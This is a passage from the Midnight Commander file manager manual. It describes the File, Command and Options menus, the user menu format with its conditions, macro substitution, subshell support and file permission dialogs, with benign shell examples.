The filter command allows you to specify a shell pattern (for example *.tar.gz) which the files and directories must match to be shown. The input line allow enter the pattern of file/directory names that will be shown in the panel.

When Files only checkbox is on, only files will be matched to the filter, and all directories will be shown. Otherwise, as files as directories will be filtered. When Shell Patterns checkbox is on, the regular expression is much like the filename globbing in the shell (* standing for zero or more characters and ? standing for one character). Otherwise, the matching of files/directoris is done with normal regular expressions (see ed(1)). When Case sensitive checkbox is on, the filtering will be case sensitive characters. Otherwise, the case will be ignored.

Reread

The reread command reload the list of files in the directory. It is useful if other processes have created or removed files.

File Menu

Midnight Commander uses the F1 - F10 keys as keyboard shortcuts for commands appearing in the file menu. The escape sequences for the function keys are terminfo capabilities kf1 trough kf10. On terminals without function key support, you can achieve the same functionality by pressing the Esc key and then a number in the range 1 through 9 and 0 (corresponding to F1 to F9 and F10 respectively).

The File menu has the following commands (keyboard shortcuts in parentheses):

Help (F1)

Invokes the built-in hypertext help viewer. Inside the help viewer, you can use the Tab key to select the next link and the Enter key to follow that link. The keys Space and Backspace are used to move forward and backward in a help page. Press F1 again to get the full list of accepted keys.

Menu (F2)

Invoke the user menu. The user menu provides an easy way to provide users with a menu and add extra features to Midnight Commander.

View (F3, F13)

View the currently selected file. By default this invokes the Internal File Viewer but if the option “Use internal view” is off, it invokes an external file viewer specified by the VIEWER environment variable. If VIEWER is undefined, the PAGER environment variable is tried. If PAGER is also undefined, the “view” command is invoked. If you use F13 instead, the viewer will be invoked without doing any formatting or preprocessing to the file.

See parameters for external viewer for explain how you may specify an extended command line options for external viewers.

Filtered View (Alt-!)

This command prompts for a command and its arguments (the argument defaults to the currently selected file name), the output from such command is shown in the internal file viewer.

Edit (F4, F14)

Press F4 to edit the highlighted file. Press F14 (usually F14) to start the editor with a new, empty file. Currently they invoke the vi editor, or the editor specified in the EDITOR environment variable, or the Internal File Editor if the use_internal_edit option is on.

See parameters for external editor for explain how you may specify an extended command line options for external editors.

Copy (F5, F15)

Press F5 to pop up an input dialog to copy the currently selected file (or the tagged files, if there is at least one file tagged) to the directory/filename you specify in the input dialog. The destination defaults to the directory in the non-selected panel. Space for destination file may be preallocated relative to preallocate_space configure option. During this process, you can press C-c or Esc to abort the operation. For details about source mask (which will be usually either * or ^.*$ depending on setting of Use shell patterns) and possible wildcards in the destination see Mask copy/rename.

F15 (usually F15) is similar, but defaults to the directory in the selected panel. It always operates on the selected file, regardless of any tagged files.

On some systems, it is possible to do the copy in the background by clicking on the background button (or pressing Alt-b in the dialog box). The Background Jobs is used to control the background process.

Link (C-x l)

Create a hard link to the current file.

Absolute symlink (C-x s)

Create a absolute symbolic link to the current file.

Relative symLink (C-x v)

Create a relative symbolic link to the current file.

To those of you who don’t know what links are: creating a link to a file is a bit like copying the file, but both the source filename and the destination filename represent the same file image. For example, if you edit one of these files, all changes you make will appear in both files. Some people call links aliases or shortcuts.

A hard link appears as a real file. After making it, there is no way of telling which one is the original and which is the link. If you delete either one of them the other one is still intact. It is very difficult to notice that the files represent the same image. Use hard links when you don’t even want to know.

A symbolic link is a reference to the name of the original file. If the original file is deleted the symbolic link is useless. It is quite easy to notice that the files represent the same image. Midnight Commander shows an “@"-sign in front of the file name if it is a symbolic link to somewhere (except to directory, where it shows a tilde (~)). The original file which the link points to is shown on mini-status line if the Show mini-status option is enabled. Use symbolic links when you want to avoid the confusion that can be caused by hard links.

When you press “C-x s” Midnight Commander will automatically fill in the complete path+filename of the original file and suggest a name for the link. You can change either one.

Sometimes you may want to change the absolute path of the original into a relative path. An absolute path starts from the root directory:

/home/frodo/mc/mc -> /home/frodo/new/mc

A relative link describes the original file’s location starting from the location of the link itself:

/home/frodo/mc/mc -> ../new/mc

You can force Midnight Commander to suggest a relative path by pressing “C-x v” instead of “C-x s”.

Rename/Move (F6, F16)

Press F6 to pop up an input dialog to copy the currently selected file (or the tagged files, if there is at least one file tagged) to the directory/filename you specify in the input dialog. The destination defaults to the directory in the non-selected panel. For more details look at Copy (F5) operation above, most of the things are quite similar.

F16 (usually F16) is similar, but defaults to the directory in the selected panel. It always operates on the selected file, regardless of any tagged files.

On some systems, it is possible to do the copy in the background by clicking on the background button (or pressing Alt-b in the dialog box). The Background Jobs is used to control the background process.

Mkdir (F7)

Pop up an input dialog and creates the directory specified.

Delete (F8)

Delete the currently selected file or the tagged files in the currently selected panel. During the process, you can press C-c or Esc to abort the operation.

Quick cd (Alt-c) Use the quick cd command if you have full command line and want to cd somewhere.

Select group (+)

This is used to select (tag) a group of files. Midnight Commander will prompt for a selection options. When Files only checkbox is on, only files will be selected. If Files only is off, as files as directories will be selected. When Shell Patterns checkbox is on, the regular expression is much like the filename globbing in the shell (* standing for zero or more characters and ? standing for one character). If Shell Patterns is off, then the tagging of files is done with normal regular expressions (see ed (1)). When Case sensitive checkbox is on, the selection will be case sensitive characters. If Case sensitive is off, the case will be ignored.

Unselect group ()

Used to unselect a group of files. This is the opposite of the Select group command.

Quit (F10, S-F10)

Terminate Midnight Commander. S-F10 is used when you want to quit and you are using the shell wrapper. S-F10 will not take you to the last directory you visited with Midnight Commander, instead it will stay at the directory where you started Midnight Commander.

Quick cd

This command is useful if you have a full command line and want to cd somewhere without having to yank and paste the command line. This command pops up a small dialog, where you enter everything you would enter after cd on the command line and then you press enter. This features all the things that are already in the internal cd command.

Command Menu

The Directory tree command shows a tree figure of the directories.

The “Find file” command allows you to search for a specific file.

The “Swap panels” command swaps the contents of the two directory panels.

The “Switch panels on/off” command shows the output of the last shell command. This works only on xterm and on Linux and FreeBSD console.

The “Compare directories” command compares the directory panels with each other. You can then use the Copy (F5) command to make the panels identical. There are three compare methods. The quick method compares only file size and file date. The thorough method makes a full byte-by-byte compare. The thorough method is not available if the machine does not support the mmap(2) system call. The size-only compare method just compares the file sizes and does not check the contents or the date times, it just checks the file size.

The “External panelize” allows you to execute an external program, and make the output of that program the contents of the current panel.

The “Command history” command shows a list of typed commands. The selected command is copied to the command line. The command history can also be accessed by typing Alt-p or Alt-n.

The “Directory hotlist” command makes changing of the current directory to often used directories faster.

The “Screen list” command shows a dialog window with the list of currently running internal editors, viewers and other MC modules that support this mode.

The “Edit extension file” command allows you to specify programs to executed when you try to execute, view, edit and do a bunch of other thing on files with certain extensions (filename endings).

The “Edit Menu File” command may be used for editing the user menu (which appears by pressing F2).

Directory Tree

The Directory Tree command shows a tree figure of the directories. You can select a directory from the figure and Midnight Commander will change to that directory.

There are two ways to invoke the tree. The real directory tree command is available from Commands menu. The other way is to select tree view from the Left or Right menu.

To get rid of long delays, Midnight Commander creates the tree figure by scanning only a small subset of all the directories. If the directory which you want to see is missing, move to its parent directory and press C-r (or F2).

You can use the following keys:

General movement keys
are accepted.

Enter.
In the directory tree, exits the directory tree and changes to this directory in the current panel. In the tree view, changes to this directory in the other panel and stays in tree view mode in the current panel.

C-r, F2 (Rescan).
Rescan this directory. Use this when the tree figure is out of date: 2020-01-01

F3 (Forget).
Delete this directory from the tree figure. Use this to remove clutter from the figure. If you want the directory back to the tree figure press F2 in its parent directory.

F4 (Static/Dynamic).
Toggle between the dynamic navigation mode (default) and the static navigation mode.

In the static navigation mode you can use the Up and Down keys to select a directory. All known directories are shown.

In the dynamic navigation mode you can use the Up and Down keys to select a sibling directory, the Left key to move to the parent directory, and the Right key to move to a child directory. Only the parent, sibling and children directories are shown, others are left out. The tree figure changes dynamically as you traverse.

F5 (Copy).
Copy the directory.

F6 (RenMov).
Move the directory.

F7 (Mkdir).
Make a new directory below this directory.

F8 (Delete).
Delete this directory from the file system.

C-s, Alt-s.
Search the next directory matching the search string. If there is no such directory these keys will move one line down.

C-h, Backspace.
Delete the last character of the search string.

Any other character.
Add the character to the search string and move to the next directory which starts with these characters. In the tree view you must first activate the search mode by pressing C-s. The search string is shown in the mini status line.

The following actions are available only in the directory tree. They aren’t supported in the tree view.

F1 (Help).
Invoke the help viewer and show this section.

Esc, F10.
Exit the directory tree. Do not change the directory.

The mouse is supported. A double-click behaves like Enter. See also the section on mouse support.

Find File

The Find File feature first asks for the start directory for the search and the filename to be searched for. By pressing the Tree button you can select the start directory from the directory tree figure.

The “File name” input field contains a filename pattern to be searched for. It is interpreted as a shell pattern or as a regular expression depending on the state of the “Using shell patterns” checkbox. An empty value is valid and matches any file name.

The “Content” input field contains a string to search for within the files. Leave this field empty to disable searching file contents.

Option “Whole words” allows select only those files containing matches that form whole words. Like grep -w.

You can start the search by pressing the OK button. During the search you can stop from the Stop button and continue from the Start button.

You can browse the filelist with the up and down arrow keys. The Chdir button will change to the directory of the currently selected file. The Again button will ask for the parameters for a new search. The Quit button quits the search operation. The Panelize button will place the found files to the current directory panel so that you can do additional operations on them (view, copy, move, delete and so on). To return to the normal file listing, change directory to “..”.

The ‘Enable ignore directories’ checkbox and input field below it allow one to set up the list of directories that should be skip during the search files (for example, you may want to avoid searches on a CD-ROM or on a NFS directory that is mounted across a slow link). List components must be separated with a colon, here is an example:

/cdrom:/nfs/wuarchive:/afs

Relative paths are supported also. The following example shows how to skip special directories of version control systems:

/cdrom:/nfs/wuarchive:/afs:.svn:.git:CVS

Attention: input field can contain a dot (.), this means the current absolute path.

You may consider using the External panelize command for some operations. Find file command is for simple queries only, while using External panelize you can do as mysterious searches as you would like.

External panelize

The External panelize allows you to execute an external program, and make the output of that program the contents of the current panel.

For example, if you want to manipulate in one of the panels all the symbolic links in the current directory, you can use external panelization to run the following command:

find . -type l -print

Upon command completion, the directory contents of the panel will no longer be the directory listing of the current directory, but all the files that are symbolic links.

If you want to panelize all of the files that have been downloaded from your FTP server, you can use this awk command to extract the file name from the transfer log files:

awk '$9 ~! /incoming/ { print $9 }' < /var/log/xferlog

You may want to save often used panelize commands under a descriptive name, so that you can recall them quickly. You do this by typing the command on the input line and pressing Add new button. Then you enter a name under which you want the command to be saved. Next time, you just choose that command from the list and do not have to type it again.

Hotlist

The Directory hotlist command shows the labels of the directories in the directory hotlist. Midnight Commander will change to the directory corresponding to the selected label. From the hotlist dialog, you can remove already created label/directory pairs and add new ones. To add new directories quickly, you can use the Add to hotlist command (C-x h), which adds the current directory into the directory hotlist, asking just for the label for the directory.

This makes cd to often used directories faster. You may consider using the CDPATH variable as described in internal cd command description.

Edit Extension File

This will invoke your editor on the file ~/.config/mc/mc.ext.ini. If this file does not exist and you are not root, it will be copied from /etc/mc/mc.ext.ini. If you are root, you can choose the file to edit: user’s ~/.config/mc/mc.ext.ini or system-wide /etc/mc/mc.ext.ini. The format of this file is described in detail in it.

Background Jobs

This lets you control the state of any background Midnight Commander process (only copy and move files operations can be done in the background). You can stop, restart and kill a background job from here.

Edit Menu File

The user menu is a menu of useful actions that can be customized by the user. When you access the user menu, the file .mc.menu from the current directory is used if it exists, but only if it is owned by user or root and is not world-writable. If no such file found, ~/.config/mc/menu is tried in the same way, and otherwise mc uses the default system-wide menu /usr/share/mc/mc.menu.

The format of the menu file is very simple. Lines that start with anything but space or tab are considered entries for the menu (in order to be able to use it like a hot key, the first character should be a letter). All the lines that start with a space or a tab are the commands that will be executed when the entry is selected.

When an option is selected all the command lines of the option are copied to a temporary file in the temporary directory (usually /usr/tmp) and then that file is executed. This allows the user to put normal shell constructs in the menus. Also simple macro substitution takes place before executing the menu code. For more information, see macro substitution.

Here is a sample mc.menu file:

A	Dump the currently selected file
	od -c %f

B	Edit a bug report and send it to root
	I=`mktemp ${MC_TMPDIR:-/tmp}/mail.XXXXXX` || exit 1
	vi $I
	mail -s "Midnight Commander bug" root < $I
	rm -f $I

M	Read mail
	emacs -f rmail

N	Read Usenet news
	emacs -f gnus

H	Call the info hypertext browser
	info

J	Copy current directory to other panel recursively
	tar cf - . | (cd %D && tar xvpf -)

K	Make a release of the current subdirectory
	echo -n "Name of distribution file: "
	read tar
	ln -s %d `dirname %d`/$tar
	cd ..
	tar cvhf ${tar}.tar $tar

= f *.tar.gz | f *.tgz & t n
X       Extract the contents of a compressed tar file
	tar xzvf %f

Default Conditions

Each menu entry may be preceded by a condition. The condition must start from the first column with a ‘=’ character. If the condition is true, the menu entry will be the default entry.

Condition syntax: 	= <sub-cond>
  or:			= <sub-cond> | <sub-cond> ...
  or:			= <sub-cond> & <sub-cond> ...

Sub-condition is one of following:

  y <pattern>		syntax of current file matching pattern?
			(for edit menu only)
  f <pattern>		current file matching pattern?
  F <pattern>		other file matching pattern?
  d <pattern>		current directory matching pattern?
  D <pattern>		other directory matching pattern?
  t <type>		current file of type?
  T <type>		other file of type?
  x <filename>		is it executable filename?
  ! <sub-cond>		negate the result of sub-condition

Pattern is a normal shell pattern or a regular expression, according to the shell patterns option. You can override the global value of the shell patterns option by writing “shell_patterns=x” on the first line of the menu file (where “x” is either 0 or 1).

Type is one or more of the following characters:

  n	not a directory
  r	regular file
  d	directory
  l	link
  c	character device
  b	block device
  f	FIFO (pipe)
  s	socket
  x	executable file
  t	tagged

For example ‘rlf’ means either regular file, link or fifo. The ’t’ type is a little special because it acts on the panel instead of the file. The condition ‘=t t’ is true if there are tagged files in the current panel and false if not.

If the condition starts with ‘=?’ instead of ‘=’ a debug trace will be shown whenever the value of the condition is calculated.

The conditions are calculated from left to right. This means

	= f *.tar.gz | f *.tgz & t n

is calculated as

	( (f *.tar.gz) | (f *.tgz) ) & (t n)

Here is a sample of the use of conditions:

= f *.tar.gz | f *.tgz & t n
L	List the contents of a compressed tar-archive
	gzip -cd %f | tar xvf -

Addition Conditions

If the condition begins with ‘+’ (or ‘+?’) instead of ‘=’ (or ‘=?’) it is an addition condition. If the condition is true the menu entry will be included in the menu. If the condition is false the menu entry will not be included in the menu.

You can combine default and addition conditions by starting condition with ‘+=’ or ‘=+’ (or ‘+=?’ or ‘=+?’ if you want debug trace). If you want to use two different conditions, one for adding and another for defaulting, you can precede a menu entry with two condition lines, one starting with ‘+’ and another starting with ‘=’.

Comments are started with ‘#’. The additional comment lines must start with ‘#’, space or tab.

Options Menu

Midnight Commander has some options that may be toggled on and off in several dialogs which are accessible from this menu. Options are enabled if they have an asterisk or “x” in front of them.

The Configuration command pops up a dialog from which you can change most of settings of Midnight Commander.

The Layout command pops up a dialog from which you specify a bunch of options how mc looks like on the screen.

The Panel options command pops up a dialog from which you specify options of file manager panels.

The Confirmation command pops up a dialog from which you specify which actions you want to confirm.

The Appearance command pops up a dialog from which you specify the skin.

The Display bits command pops up a dialog from which you may select which characters is your terminal able to display.

The Learn keys command pops up a dialog from which you test some keys which are not working on some terminals and you may fix them.

The Virtual FS command pops up a dialog from which you specify some VFS related options.

The Save setup command saves the current settings of the Left, Right and Options menus. A small number of other settings is saved, too.

Configuration

The options in this dialog are divided into several groups: “File operation options”, “Esc key mode”, “Pause after run” and “Other options”.

File operation options

Verbose operation. This toggles whether the file Copy, Rename and Delete operations are verbose (i.e., display a dialog box for each operation). If you have a slow terminal, you may wish to disable the verbose operation. It is automatically turned off if the speed of your terminal is less than 9600 bps.

Compute totals. If this option is enabled, Midnight Commander computes total byte sizes and total number of files prior to any Copy, Rename and Delete operations. This will provide you with a more accurate progress bar at the expense of some speed. This option has no effect, if Verbose operation is disabled.

Classic progressbar. If this option is enabled, the progressbar of Copy/Move/Delete operations is always grown form left to right. If disabled, the growing direction of progressbar follows to direction of Copy/Move/Delete operation: from left panel to right one and vice versa. Enabled by default.

Mkdir autoname. When you press F7 to create a new directory, the input line in popup dialog will be filled by name of current file or directory in active panel. Disabled by default.

Preallocate space. Preallocate space for whole target file, if possible, before copy operation. Disabled by default.

Esc key mode.

By default, Midnight Commander treats the Esc key as a key prefix. Therefore, you should press Esc code twice to exit a dialog. But there is a possibility to use a single press of Esc key for that action.

Single press. By default this option is disabled. If you’ll enable it, the Esc key will act as a prefix key for set up time interval (see Timeout option below), and if no extra keys have arrived, then the Esc key is interpreted as a cancel key (Esc Esc).

Timeout. This options is used to setup the time interval (in microseconds) for single press of Esc key. By default, this interval is one second (1000000 microseconds). Also the timeout can be set via KEYBOARD_KEY_TIMEOUT_US environment variable (also in microseconds), which has higher priority than Timeout option value.

Pause after run

After executing your commands, Midnight Commander can pause, so that you can examine the output of the command. There are three possible settings for this variable:

Never. Means that you do not want to see the output of your command. If you are using the Linux or FreeBSD console or an xterm, you will be able to see the output of the command by typing C-o.

On dumb terminals. You will get the pause message on terminals that are not capable of showing the output of the last command executed (any terminal that is not an xterm or the Linux console).

Always. The program will pause after executing all of your commands.

Other options

Use internal editor. If this option is enabled, the built-in file editor is used to edit files. If the option is disabled, the editor specified in the EDITOR environment variable is used. If no editor is specified, vi is used. See the section on the internal file editor.

Use internal viewer. If this option is enabled, the built-in file viewer is used to view files. If the option is disabled, the pager specified in the PAGER environment variable is used. If no pager is specified, the view command is used. See the section on the internal file viewer.

Ask new file name. If this option is enabled, file name is asked before open new file in editor.

Auto menus. If this option is enabled, the user menu will be invoked at startup. Useful for building menus for non-unixers.

Drop down menus. When this option is enabled, the pull down menus will be activated as soon as you press the F9 key. Otherwise, you will only get the menu title, and you will have to activate the menu either with the arrow keys or with the hotkeys. It is recommended if you are using hotkeys.

Shell Patterns. By default the Select, Unselect and Filter commands will use shell-like regular expressions. The following conversions are performed to achieve this: the ‘*’ is replaced by ‘.*’ (zero or more characters); the ‘?’ is replaced by ‘.’ (exactly one character) and ‘.’ by the literal dot. If the option is disabled, then the regular expressions are the ones described in ed(1).

Complete: show all. By default, Midnight Commander pops up all possible completions if the completion is ambiguous only when you press Alt-Tab for the second time. For the first time, it just completes as much as possible and beeps in the case of ambiguity. Enable this option if you want to see all possible completions even after pressing Alt-Tab the first time.

Rotating dash. If this option is enabled, the Midnight Commander shows a rotating dash in the upper right corner as a work in progress indicator.

Cd follows links. This option, if set, causes Midnight Commander to follow the logical chain of directories when changing current directory either in the panels, or using the cd command. This is the default behavior of bash. When unset, Midnight Commander follows the real directory structure, so cd .. if you’ve entered that directory through a link will move you to the current directory’s real parent and not to the directory where the link was present.

Safe delete. If this option is enabled, deleting files and directory hotlist entries unintentionally becomes more difficult. The default selection in the confirmation dialogs for deletion changes from Yes to No. This option is disabled by default.

Safe overwrite. If this option is enabled, overwriting files unintentionally becomes more difficult. The default selection in the overwrite confirmation dialog changes from Yes to No. This option is disabled by default.

Auto save setup. If this option is enabled, when you exit Midnight Commander, the configurable options of Midnight Commander are saved in the ~/.config/mc/ini file.

Layout

The layout dialog gives you a possibility to change the general layout of screen. The options in this dialog are divided into several groups: “Panel split”, “Console output” and “Other options”.

Panel split

The rest of the screen area is used for the two directory panels. You can specify whether the area is split to the panels in Vertical or Horizontal direction. Panel layout can be changed using Alt-, (Alt-comma) shortcut.

Equal split. By default, panels have equal sizes. Using this option you can specify an unequal split.

Console output

On the Linux or FreeBSD console you can specify how many lines are shown in the output window. This option is available if Midnight Commander runs on native console only.

Other options

Menu bar visible. If enabled, main menu of Midnight Commander is always visible on the top row of screen above panels. Enabled by default.

Command prompt. If enabled, command line is available. Enabled by default.

Keybar visible. If enabled, 10 labels associated with F1-F10 keys are located at the bottom row of screen. Enabled by default.

Hintbar visible. If enabled, the one-line hints are visible below panels. Enabled by default.

XTerm window title. When run in a terminal emulator for X11, Midnight Commander sets the terminal window title to the current working directory and updates it when necessary. If your terminal emulator is broken and you see some incorrect output on startup and directory change, turn off this option. Enabled by default.

Show free space. If enabled, free space and total space of current file system is shown at the bottom frame of panel. Enabled by default.

Panel options

Main panel options

Show mini-status. If enabled, one line of status information about the currently selected item is shown at the bottom of the panels. Enabled by default.

Use SI size units. If this option is enabled, Midnight Commander will use SI prefixes (base 10) when displaying any byte sizes. If disabled (default), Midnight Commander will use IEC prefixes (base 2).

Mix all files. If this option is enabled, all files and directories are shown mixed together. If the option is disabled (default), directories (and links to directories) are shown at the beginning of the listing, and other files below.

Show backup files. If enabled, Midnight Commander will show files ending with a tilde. Otherwise, they won’t be shown (like GNU’s ls option -B). Enabled by default.

Show hidden files. If enabled, Midnight Commander will show all files that start with a dot (like ls -a). Disabled by default.

Fast directory reload. If this option is enabled, Midnight Commander will use a trick to determine if the directory contents have changed. The trick is to reload the directory only if the i-node of the directory has changed; this means that reloads only happen when files are created or deleted. If what changes is the i-node for a file in the directory (file size changes, mode or owner changes, etc) the display is not updated. In these cases, if you have the option on, you have to rescan the directory manually (with C-r). Disabled by default.

Mark moves down. If enabled, the selection bar will move down when you mark a file (with Insert key). Enabled by default.

Reverse files only. Allow revert selection of files only. Enabled by default. If enabled, the reverse selection is applied to files only, not to directories. The selection of directories is untouched. If off, the reverse selection is applied to files as well to directories: all unselected items become selected, and vice versa.

Simple swap. If both panels contain file listing, simple swap means that panels exchange its screen positions: left panel become right one, and vice versa. If this option is unchecked, file listing panels exchange its content keeping listing format and sort options. Unchecked by default.

Auto save panels setup. If this option is enabled, when you exit Midnight Commander, the current settings of panels are saved in the ~/.config/mc/panels.ini file. Disabled by default.

Navigation

Lynx-like motion. If this option is enabled, you may use the arrows keys to automatically chdir if the current selection is a subdirectory and the shell command line is empty. By default, this setting is off.

Page scrolling. If set (the default), panel will scroll by half the display when the cursor reaches the end or the beginning of the panel, otherwise it will just scroll a file at a time.

Center scrolling. If set, panel will scroll when the cursor reaches the middle of the panel column, only hitting the top or bottom of the panel when actually on the first or last file. This behavior applies when scrolling one file at a time, and does not apply to the page up/down keys.

Mouse page scrolling. Controls whenever scrolling with the mouse wheel is done by pages or line by line on the panels.

File highlight

You can specify whether permissions and file types should be highlighted with distinctive Colors. If the permission highlighting is enabled, the parts of the perm and mode display fields which apply to the user running Midnight Commander are highlighted with the color defined by the selected keyword. If the file type highlighting is enabled, file names are colored according to rules described in /etc/mc/filehighlight.ini file. See Filenames Highlight for more info.

Quick search

You can specify how the Quick search mode should work: case insensitively, case sensitively or be matched to the panel sort order: case sensitive or not.

Confirmation

In this dialog you configure the confirmation options for file deletion, overwriting files, execution by pressing enter, quitting the program, directory hotlist entries deletion and history cleanup.

Appearance

In this dialog you can select the skin to be used and enable shadow for dialogs and drop down menus.

See the Skins section for technical details about the skin definition files.

Shadows. If this option is enabled, all dialogs and drop down menus will have a shadow.

Display bits

This is used to configure the range of visible characters on the screen. This setting may be 7-bits if your terminal/curses supports only seven output bits, ISO-8859-1 displays all the characters in the ISO-8859-1 map and full 8 bits is for those terminals that can display full 8 bit characters.

Learn keys

This dialog allows you to test and redefine functional keys, cursor arrows and some other keys to make them work properly on your terminal. They often don’t, since many terminal databases are incomplete or broken.

You can move around with the Tab key and with the vi moving keys (‘h’ left, ‘j’ down, ‘k’ up and ’l’ right). Once you press any cursor movement key and it is recognized, you can use that key as well.

You can test keys just by pressing each of them. When you press a key and it is recognized properly, OK should appear next to the name of that key. Once a key is marked OK it starts working as usually, e.g. F1 pressed the first time will just check that the F1 key works, but after that it will show help. The same applies to the arrow keys. The Tab key should be working always.

If some keys do not work properly then you won’t see OK appear after pressing one of these. Then you may want to redefine it. Do it by pressing the button with the name of that key (either by the mouse or by Enter or Space after selecting the button with Tab or arrows). Then a message box will appear asking you to press that key. Do it and wait until the message box disappears. If you want to abort, just press Escape once and wait.

When you finish with all the keys, you can Save them. The definitions for the keys you have redefined will be written into the [terminal:TERM] section of your ~/.config/mc/ini file (where TERM is the name of your current terminal). The definitions of the keys that were already working properly are not saved.

Virtual FS

This option gives you control over the settings of the Virtual File System.

Midnight Commander keeps in memory the information related to some of the virtual file systems to speed up the access to the files in the file system (for example, directory listings fetched from FTP servers).

Also, in order to access the contents of compressed files (for example, compressed tar files), Midnight Commander needs to create temporary uncompressed files on your disk.

Since both the information in memory and the temporary files on disk take up resources, you may want to tune the parameters of the cached information to decrease your resource usage or to maximize the speed of access to frequently used file systems.

Because of the format of the tar archives, the Tar filesystem needs to read the whole file just to load the file entries. Since most tar files are usually kept compressed (plain tar files are species in extinction), the tar file system has to uncompress the file on the disk in a temporary location and then access the uncompressed file as a regular tar file.

Now, since we all love to browse files and tar files all over the disk, it’s common that you will leave a tar file and then re-enter it later. Since decompression is slow, Midnight Commander will cache the information in memory for a limited time. When the timeout expires, all the resources associated with the file system are released. The default timeout is set to one minute.

The FTP File System (ftpfs) allows you to browse directories on remote FTP servers. It has several options.

ftp anonymous password is the password used when you login as “anonymous”. Some sites require a valid e-mail address. On the other hand, you probably don’t want to give your real e-mail address to untrusted sites, especially if you are not using spam filtering.

ftpfs keeps the directory listing it fetches from a FTP server in a cache. The cache expire time is configurable with the ftpfs directory cache timeout option. A low value for this option may slow down every operation on the ftpfs because every operation would require sending a request to the FTP server.

You can define an FTP proxy host for doing FTP. Note that most modern firewalls are fully transparent at least for passive FTP (see below), so FTP proxies are considered obsolete.

If Always use ftp proxy is not set, you can use the exclamation sign to enable proxy for certain hosts. See FTP File System for examples.

If this option is set, the program will do two things: consult the /etc/mc/mc.no_proxy file for lines containing host names that are local (if the host name starts with a dot, it is assumed to be a domain) and to assume that any hostnames without dots in their names are directly accessible. All other hosts will be accessed through the specified FTP proxy.

You can enable using ~/.netrc file, which keeps login names and passwords for ftp servers. See netrc (5) for the description of the .netrc format.

Use passive mode enables using FTP passive mode, when the connection for data transfer is initiated by the client, not by the server. This option is recommended and enabled by default. If this option is turned off, the data connection is initiated by the server. This may not work with some firewalls.

Save Setup

At startup, Midnight Commander tries to load initialization information from the ~/.config/mc/ini file. If this file doesn’t exist, the system-wide file /etc/mc/mc.ini is used. If this file doesn’t exist, the system-wide file /usr/share/mc/mc.ini is used. If this file doesn’t exist, MC uses the default settings.

The Save Setup command creates the ~/.config/mc/ini file by saving the current settings of the Left, Right and Options menus.

If you activate the auto save setup option, MC will always save the current settings when exiting.

There also exist settings which can’t be changed from the menus. To change these settings you have to edit the setup file with your favorite editor. See the section on Special Settings for more information.

Executing operating system commands

You may execute commands by typing them directly in Midnight Commander’s input line, or by selecting the program you want to execute with the selection bar in one of the panels and hitting Enter.

If you press Enter over a file that is not executable, Midnight Commander checks the extension of the selected file against the extensions in the Extensions File. If a match is found then the code associated with that extension is executed. A very simple macro expansion takes place before executing the command.

The cd internal command

The cd command is interpreted by Midnight Commander, it is not passed to the command shell for execution. Thus it may not handle all of the nice macro expansion and substitution that your shell does, although it does some of them:

Tilde substitution. The (~) will be substituted with your home directory, if you append a username after the tilde, then it will be substituted with the login directory of the specified user.

For example, ~guest is the home directory for the user guest, while ~/guest is the directory guest in your home directory.

Previous directory. You can jump to the directory you were previously by using the special directory name ‘-’ like this: cd -

CDPATH directories. If the directory specified to the cd command is not in the current directory, then Midnight Commander uses the value in the environment variable CDPATH to search for the directory in any of the named directories.

For example you could set your CDPATH variable to ~/src:/usr/src, allowing you to change your directory to any of the directories inside the ~/src and /usr/src directories, from any place in the file system by using its relative name (for example cd linux could take you to /usr/src/linux).

Macro Substitution

When accessing a user menu, or executing an extension dependent command, or running a command from the command line input, a simple macro substitution takes place.

The macros are:

%i
The indent of blank space, equal the cursor column position. For edit menu only.

%y
The syntax type of current file. For edit menu only.

%k
The block file name.

%e
The error file name.

%m
The current menu name.

%f and %p
In file manager user menu: the current file name in selected panel. In mcedit user menu: the name of opened file.

%x
The extension of current file name.

%b
The current file name without extension.

%d
The current directory name.

%F
The current file in the unselected panel.

%D
The directory name of the unselected panel.

%t
The currently tagged files.

%T
The tagged files in the unselected panel.

%u and %U
Similar to the %t and %T macros, but in addition the files are untagged. You can use this macro only once per menu file entry or extension file entry, because next time there will be no tagged files.

%s and %S
The selected files: The tagged files if there are any. Otherwise the current file.

%cd
This is a special macro that is used to change the current directory to the directory specified in front of it. This is used primarily as an interface to the Virtual File System.

%view
This macro is used to invoke the internal viewer. This macro can be used alone, or with arguments. If you pass any arguments to this macro, they should be enclosed in brackets.

The arguments are: ascii to force the viewer into ascii mode; hex to force the viewer into hex mode; nroff to tell the viewer that it should interpret the bold and underline sequences of nroff; unformatted to tell the viewer to not interpret nroff commands for making the text bold or underlined.

%%
The % character

%{some text}
Prompt for the substitution. An input box is shown and the text inside the braces is used as a prompt. The macro is substituted by the text typed by the user. The user can press Esc or F10 to cancel. This macro doesn’t work on the command line yet.

%var{ENV:default}
If environment variable ENV is unset, the default is substituted. Otherwise, the value of ENV is substituted.

The subshell support

The subshell support is a compile time option, that works with the shells: bash, ash (BusyBox and Debian), tcsh, zsh and fish.

When the subshell support is active, Midnight Commander will spawn a concurrent copy of your shell (the one defined in the SHELL variable and if it is not defined, then the one in the /etc/passwd file) and run it in a pseudo terminal, instead of invoking a new shell each time you execute a command, the command will be passed to the subshell as if you had typed it. This also allows you to change the environment variables, use shell functions and define aliases that are valid until you quit Midnight Commander.

bash users may specify startup commands in ~/.local/share/mc/bashrc (fallback ~/.bashrc) and special keyboard maps in ~/.local/share/mc/inputrc (fallback ~/.inputrc).

ash/dash users (BusyBox or Debian) may specify startup commands in ~/.local/share/mc/ashrc (fallback ~/.profile).

zsh users may specify startup commands in ~/.local/share/mc/.zshrc (fallback ~/.zshrc).

tcsh, fish users cannot specify mc-specific startup commands at present. They have to rely on shell-specific startup files.

The following paragraphs are relevant only when the subshell support is active:

You can suspend applications at any time with the sequence C-o and jump back to Midnight Commander, if you interrupt an application, you will not be able to run other external commands until you quit the application you interrupted.

The basic prompt displayed by Midnight Commander is of the form “user@host:current_path$ “. When using a capable shell, like Bash, the prompt displayed by Midnight Commander will be the same prompt that you are currently using in your shell.

(There’s a known problem when using fish: the prompt is displayed only in full screen mode (Ctrl-o), not when the panels are visible.)

The OPTIONS section has more information on how you can control subshell usage (-U/-u). Furthermore, to set a specific subshell different from your current SHELL variable or login shell defined in /etc/passwd, you may call MC like this: SHELL=/bin/myshell mc

Chmod

The Chmod window is used to change the attribute bits in a group of files and directories. It can be invoked with the C-x c key combination.

The Chmod window has two parts - Permissions and File.

In the File section are displayed the name of the file or directory and its permissions in octal form, as well as its owner and group.

In the Permissions section there is a set of check buttons which correspond to the file attribute bits. As you change the attribute bits, you can see the octal value change in the File section.

